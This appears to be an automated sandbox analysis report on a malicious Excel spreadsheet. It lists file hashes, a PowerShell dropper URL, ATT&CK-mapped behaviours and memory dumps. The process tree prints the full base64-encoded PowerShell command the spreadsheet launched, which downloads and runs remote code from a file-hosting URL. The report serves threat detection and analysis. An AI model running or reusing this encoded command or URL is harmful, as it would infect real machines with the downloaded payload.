1a796483c2e648ff0f82c75d7a0b74e71abd66694f555078c9b2b01174b6c2a0

General

Target

1a796483c2e648ff0f82c75d7a0b74e71abd66694f555078c9b2b01174b6c2a0.xls
Size

28KB
MD5

f905fbc0693840717343b4651e8d083f
SHA1

0f1fcbb144f4e7e20bb46f8b9724ed103e8ec380
SHA256

1a796483c2e648ff0f82c75d7a0b74e71abd66694f555078c9b2b01174b6c2a0
SHA512

57e219508335656b725157a5f4d84dd7db5cc401bedf76cb22a902149bc8a8d1b52b88306b86e357bfea9b59c291177ff92f3b80380b4d930c9fe685d45840fa
SSDEEP

384:i8LDjTPAA6ymev82NsdHLneAjf7OrNCn/WgAdE:rDjLR6dev82NsdHLpf76NWWu

Score

10^/10

discovery

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://tmpfiles.org/dl/10333590/exploit.jpg

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2740	2668	powershell.exe	30

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	2740	powershell.exe

Deletes itself 1 IoCs

pid	Process
2668	EXCEL.EXE

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

NTFS ADS 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Temp\B9077F00\:Zone.Identifier:$DATA	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2668	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2740	powershell.exe

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
2668	EXCEL.EXE

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2740	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2668	EXCEL.EXE
2668	EXCEL.EXE
2668	EXCEL.EXE
2668	EXCEL.EXE
2668	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2668 wrote to memory of 2740	2668	EXCEL.EXE	31
PID 2668 wrote to memory of 2740	2668	EXCEL.EXE	31
PID 2668 wrote to memory of 2740	2668	EXCEL.EXE	31
PID 2668 wrote to memory of 2740	2668	EXCEL.EXE	31

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\1a796483c2e648ff0f82c75d7a0b74e71abd66694f555078c9b2b01174b6c2a0.xls
1⤵
- Deletes itself
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- NTFS ADS
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: RenamesItself
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2668
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwB0AG0AcABmAGkAbABlAHMALgBvAHIAZwAvAGQAbAAvADEAMAAzADMAMwA1ADkAMAAvAGUAeABwAGwAbwBpAHQALgBqAHAAZwAnACkAOwBvAGEAdwBuAGQAdQBhAHcAZABuAG4AaABuADkAMgA4ADMAaAAxADkAMgAxAG4AYQB3AG8AZABhAG4AZgBpAGEAdwBiAGQAbgBpAHUAZgBiAG4AYQBpAGQAdwB1AGEAaQBmAHUAYQBiAGkAdQBmAGIAYQBpAHUAZABiAGgAagBhAHcAZABiAGEAZgBoAGoA""
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2740

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2668-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2668-1-0x000000007255D000-0x0000000072568000-memory.dmp

Filesize
44KB

Download
memory/2668-4-0x0000000000380000-0x0000000000480000-memory.dmp

Filesize
1024KB

Download
memory/2668-3-0x0000000000380000-0x0000000000480000-memory.dmp

Filesize
1024KB

Download
memory/2668-2-0x0000000000380000-0x0000000000480000-memory.dmp

Filesize
1024KB

Download
memory/2668-5-0x0000000000380000-0x0000000000480000-memory.dmp

Filesize
1024KB

Download
memory/2668-6-0x0000000000380000-0x0000000000480000-memory.dmp

Filesize
1024KB

Download
memory/2668-14-0x000000007255D000-0x0000000072568000-memory.dmp

Filesize
44KB

Download
memory/2668-15-0x0000000000380000-0x0000000000480000-memory.dmp

Filesize
1024KB

Download

Analysis

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